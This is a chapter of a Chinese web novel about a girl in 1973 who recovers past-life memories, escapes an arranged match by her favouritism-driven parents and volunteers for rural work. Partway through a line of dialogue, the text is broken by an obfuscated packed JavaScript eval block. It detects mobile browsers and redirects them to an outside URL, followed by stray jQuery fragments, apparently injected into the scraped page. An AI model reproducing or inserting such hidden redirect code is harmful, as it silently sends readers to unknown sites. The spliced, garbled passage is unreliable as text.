“死,死人了!死人了!”
一阵嘈杂得声音将陈溯华吵醒,她睁开眼睛看到的是一片发灰的墙皮。
“这是哪?”陈溯华撑着身体坐起来,打量着四周。
她记得自己正在帮果农抢收水果,怎么一转眼就来到了这里。
屋里很暗,为数不多的窗户被外面的树叶给遮挡住。
阳光透过树梢照进来,斑驳的光影照在餐桌上的信封的收件人处。
陈溯华收——
陈溯华拿起信封有些疑惑,21世纪谁还给她写信。
额头上的疼痛使她不得不放弃思考。
半大的房间在靠门的位置挂着一面碎了一半的镜子,旁边的日历被撕的所剩不多。
日历上面赫然写着今天的日期,1973年10月15号。
陈溯华疑惑的看了眼日历,转身来到镜子前镜中的女孩面黄肌瘦,瘦骨嶙峋的身上穿着一件不合身的衣服。
蜡黄的小脸在额角处被砸出了个伤口,苍白的嘴唇紧抿着。一个荒谬的想法在她脑海中产生。
她,穿越了!?
额头上的伤口还在滴血,眼下比穿越更重要的是包扎伤口。
可是包扎伤口也需要钱啊,看着自己穷的叮当响的样子,她都害怕一会出去再被人给当成叫花子撵走。
陈溯华努力回忆着脑海中所有的记忆,希望能想出一些关于原主的事情,就算不能想起全部至少告诉她钱在哪。
*
楼下孩子们嬉闹地声音传上来,显得喜气洋洋。
与之截然不同的是陈溯华这里,她颓废的坐在凳子上,刚才她把穿越小说中所有能出现的现象都尝试了一遍,一个也没有成功。
“苍天啊!你玩我那,怎么刚开局就结束啊!”
额角的伤口还在流血,虽说速度比刚才慢了许多,但是能明显的感觉到失血过多带来的不适感。
就当陈溯华准备放弃,想着再睁眼说不定就回到过去的时候,她瞥见房间的角落处有个东西在反光。
她连忙跑过去,将压在上面的砖块挪开。
是硬币!砖块下零星的放着几枚一分钱的硬币和两张一毛的纸币。
因为放的地方隐蔽再加上陈溯华不熟悉这里,所以才一直没有发现。
现在她拿起钱一股脑的就往楼下跑,楼下闲聊的大人和玩耍的孩子都被她这模样给吓到了。
她来到一个看起来面善的大娘面前问,“大娘你知道医院在哪吗?”
大娘颤颤巍巍的伸出一根手指,指向东边,“出了这条街一拐弯就到了。”
陈溯华道了声谢,转身出了院门。
院里的几人见她离开才都松了口气。
“这是谁啊?”新嫁来的小媳妇问。
“陈主任家的二闺女。”
小媳妇有些不敢相信,“陈主任他们不是挺疼孩子的吗?”她见过陈家的小儿子,打扮的光鲜亮丽整天油嘴滑舌的,和刚才那孩子完全不一样。
“你才来一些事肯定不清楚。”旁边地大娘一脸神秘的说。
余春霞瞥了她一眼,有些不悦的说:“有什么神秘的,就是重男轻女。行了行了,不说他们家的事了。”
听到她这话其他人也不好再说什么。余春霞是知青办的主任,大家为了自家孩子乡下能分配到好的地方都不敢得罪她。
余春霞看着陈溯华离开的方向轻轻叹了口气,想着自己还有些创伤膏等到晚上找机会给她。
*
陈溯华一路上顶着路人怪异的目光快步的走到医院。
医院内,护士看到她后大声喊道:“医生,王医生!”
“叫什么啊,医院内禁止大声…”王医生话还没说完,迎面就遇到了陈溯华。“快,快到治疗室。”
陈溯华虚弱的跟着走到了治疗室,小护士一直守在她旁边生怕她晕倒在地。
裂开的皮肉被用针线缝在一起,针线一次又一次缓慢的穿梭着,清晰的拉扯感使陈溯华疼得直冒冷汗。
70年代医疗资源还处于十分匮乏状态,一般人除非是重大疾病否则是很少用麻药的。况且这种药的价格也不便宜,就算有她也没钱用。
小护士在旁边用纱布将她冒出来的汗擦干,陈溯华扯着嘴角对她感谢的笑笑。
一场缝合下来,三人都冒了一身冷汗。特别是陈溯华本就失血过多,现在经历了一场无麻缝合,整个人如同从水里捞出来一样。
听完医生说的注意事项后,陈溯华道了谢拿着处方去药房拿药。
从医院里出来,陈溯华才有机会好好观察着这里。
平坦又有些窄小得水泥路,被行人、自行车、公交车塞得满满的。
一些骑着自行车的孩子,趁公交车司机停车的空隙从他面前窜过,惹的司机破口大骂。
街道旁的墙上和树上都挂着不同的促进青年下乡的语录。
陈溯华刚才在找钱的时候有看到原主的出生证。1957年出生的算下来也就刚满16岁,还不用担心下乡。
夕阳落下留下几道浅浅的橘色痕迹。街道上的行人悠闲地说笑着往家赶。
空气中饭香四溢,陈溯华吸了吸鼻子,感觉胃里的馋虫都要被勾出来了。马上就要和名义上的家人相见了,她还真有些紧张。
*
陈家门口陈溯华刚踏进去一只脚,迎面就飞来一根擀面杖,紧接着是一声怒吼。
“陈溯华你死哪去了,我和你爸都下班了你不在家做饭跑哪去野了!”
王芬花见她躲开更加生气了,拾起擀面杖就要追出去打。
眼看着她就要追出门外,好面子的陈国安赶紧咳嗽了一声。
两人动作停下,王芬花走过去掐着她往屋里带。
房子是七十年代常见的筒子楼,当年分房子时陈父级别不够工作时间短,只分到了个一室一厅。
厨房和厕所是公用的,都在每层楼的中间。
屋里被塞得满满当当,这不仅是陈溯华长大的房子更是陈父母的新房。
王芬花的陪嫁品也都在这,其中一个矮柜已经被搬到客厅当桌子用了。
卧室更是被一分为二,陈家父母住在里面。不过被分出地那间房间,并不是给陈溯华住的,她的房间在屋子外面。也就是她刚才醒来的地方。
分房子时陈父被分到的是,走廊的尽头阳光最少的一间房。
为此王芬花还找单位闹了好几次,依旧没有换成。不过也让他发现了这的好处,因为是走廊尽头没有人来,他可以光明正大的占有。
于是他先是在这盖起了棚子,后又搭了木板,再到现在的已经准备砌砖头了。
在此期间居委会和工厂其他领导也都找过他,不过都被王芬花以分的房子最差给胡搅蛮缠了过去。
屋里面陈溯华一手端着碗,一手夹着菜,偷偷观察着两人。
从刚才王芬花在掐了她一把后就没吭声了,不过她总感觉这两人有事,并且这事还和她有关。
果不其然,她刚将筷子放下,就听到坐在对面的陈国安说:“你现在也大了,我给你安排了个亲事你明天去看看。”
听到这话的陈溯华一脸迷茫,大,十六岁算大?
“爸我才十六,还没到结婚年龄,再等几年吧。”她斟酌着开口提醒。
女子的结婚年龄她记得从婚姻法出来后就一直是二十岁,她还真没见过谁十几岁就结婚,除非不领证。不过这个时候不领证就等于耍流氓,是要吃花生米的。
坐在她旁边的王芬花一脸不耐,“小什么小,留你在家里吃白饭。明天你去相看相看,行的话就带你去改年龄。”说是相看其实是对方相看她。
筒子楼最不隔音了,谁家有什么秘密在家都要小声说。刚才王芬花也是说上瘾了,不自觉的又扯起了大嗓门,挨了陈父好几个眼刀后她才反应过来。
“噗嗤。”寂静的餐桌上响起一声轻笑,这种明目张胆的算计总是能让人笑出声。
陈溯华撇了眼餐桌上的三碗饭,陈父的米最多,陈母的各一半,只有她清澈见底。她将手中的碗筷放下,找了个借口就出去。
从狭小的房间走出来,陈溯华深吸了一口气,她拿起洗脸毛巾朝公共卫生间走去,刚来到拐角就被等在那的余春霞吓了一跳。
她记得对方,今天下午在院子里见过,那些大娘还都叫她余主任。
此时陈溯华也不知道怎么称呼对方,只能也叫了声,“余主任。”
余春霞将带来的创伤膏塞到她手里,装着生气地嗔怪道:“和我还这么生疏。”
“医院怎么说的,会留疤吗?”她伸手撩起她的刘海,见到被纱布盖着伤口后,眼神中闪过几分震惊。
陈溯华长的既不像王芬花也不像陈国安,偏偏像她那个没血缘关系的小脚的奶奶。
对方民国出生受过高等教育,对于王芬花这种重男轻女的性子一直看不上,当然王芬花也看不上她这种旧时代的人。
后来两人的婆媳矛盾一直延伸到小一辈身上。
被陈奶奶带大的陈溯华逐渐长成了大家口中地别人家的孩子,相反王芬花带大的陈伟建打架斗殴,无恶不作,陈奶奶回到乡下后被压制了许久的王芬花便将所有的怨气发泄到陈溯华身上。
早些年余春霞受过陈奶奶的关照,所以对陈溯华也颇为照顾。
月光洒下,少女低垂着眼眸,声音有些沉闷地说:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543873|186694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应该会。”
余春霞伸手揽过她的肩膀,将她带进自己怀里。
从上午到现在,一直处于一种恐慌的陈溯华终于感觉到一丝安慰,莫名其妙的穿越,又有了陌生的父母,哪怕上辈子活了这么久的她依旧难以接受。
*
夜深人静,北方的天气昼夜温差很大。刚才她出来的时候只穿了一件薄外套,现在又在外面待了这么久身子有些发凉。
陈溯华悄悄地推开房门,蹑手蹑脚地走了进去。
木板房里被堆满了杂物,只有在角落里放着一张折叠床,今天下午她就是在这醒来的。
床板很硬上面铺着一张不知道用了多久的薄铺盖。
陈溯华躺在那里没一会就睡着做起了梦,梦中她像观者站在一边通过倒叙观看着原主的一生。
时间流逝画面来到了陈溯华四岁的时候。她因为一颗糖被陈伟健推倒在地磕到了后脑勺。同时回忆也在这戛然而止。
突然间陈溯华感觉手里硬硬的好像有什么东西,张开手掌发现是一颗糖。紧接着空中刮起狂风周围也变成了回忆里的模样,四岁的陈伟健张开手想抢她的糖,这一次陈溯华躲了过去反手将他推倒在地。
瞬间回忆崩塌,变成星光朝她涌来。
陈溯华从梦中惊醒,她大口大口的喘着粗气。
原来她不是穿越,而是觉醒了上辈子的记忆。
上辈子她在帮果农抢收时遇到了泥石流,当场死亡。
大概是老天爷先垂怜她,转世时保留了她前世的记忆。没想到的是这辈子她命这么苦,四岁时被自己亲弟弟推倒后摔失忆了。
重新找回记忆的陈溯华感觉一阵悲凉,昨天将她吵醒的那个声音的主人是陈伟健。
这次他们同样因为一些事情发生争执,同样的被推倒在地摔到了头,不同的是这次是恢复记忆。
房间外传来窸窸窣窣的起床声和王芬花的抱怨声。陈溯华用被子蒙住头,现在她还不知道怎么面对这名义上的父母。
大概是昨晚做梦没有睡好,再次醒来时已经晌午了。陈家父母中午通常是在食堂解决,所以不用担心他们回来。
她来到客厅看见桌子上摆放着水果和一些吃食。想到昨天说的让她去相亲的事情,这时候弄到新鲜水果,恐怕对方来头不简单,不然王芬花才不舍得。
就在她想要用什么借口才能糊弄过去时,门口发出来响动。
在外面鬼混一夜的陈伟健一抬头就看到了他姐。毕竟是十几岁的孩子,无论平时在家怎么受宠,打了人心中还都是一些胆怯。
“姐。”他小心翼翼地开口,两只眼不断瞥向她。
陈溯华扯了扯嘴角,从小到大她就没听过陈伟健叫她几声姐。电光石火之间她的脑子里冒出来个想法。
“陈伟健,你打了人还想就这么算了吗?”陈溯华拉出一张椅子,坐下双腿交叠,面带讥讽地看着他。
“你想怎么办!”被宠坏了的陈伟健第一次被人这么看着,有些破罐子破摔地说。
“我想怎么办,这就是你认错的态度?”她站起来直视对方的眼睛说:“陈伟健你信不信我去警局告你。”
一米七的陈伟健如同鹌鹑般站在比他矮一头的陈溯华面前。
他虽然小偷小摸惯了,但是还从没闹到过警局。
“不如我们个做个交易怎么样。”
*
傍晚王芬花一回到家,就生气地大声嚷嚷着找陈溯华。
今天下午她刚来到车间就被主任叫到办公室训斥了一番,一开始她还以为是自己拿厂里东西被发现了,听到到最后才知道是她家死丫头没去相亲,而作为中间人的车间主任同样被对方说了一顿。
“王芬花,张副厂长家有多少人想见都见不上,现在给你机会你还不珍惜!”
此时王芬花只感觉自己头上在冒火,这不一见到陈溯华就伸手要打她。
陈溯华朝旁边使了个眼色。陈伟健立马拦住他妈,“妈,消消气消消气,这让别人看见了不好。”
王芬花连喝了好几口水,依旧没等来她的解释,只能撂下一句:“行,等你爸回来,看怎么收拾你。”
陈溯华看了眼墙上的时钟,估摸着时间差不多了,笑着对她妈说:“妈我干了间大事。”说完一阵敲锣打鼓声从外面传了出来。
在楼下停自行车的陈国安看见拿锣鼓和大红花的人走上楼,还想着这是谁家办喜事怎么没说一声,结果走到三楼听着逐渐清晰的声音,他心中暗叫不好。
果不其然,他还没走到门口就看到被围在中间的陈溯华,她胸前戴着一朵大红花,红光满面的和周围人打着招呼,见到他更加大声的喊道:“爸,我报名下乡了。”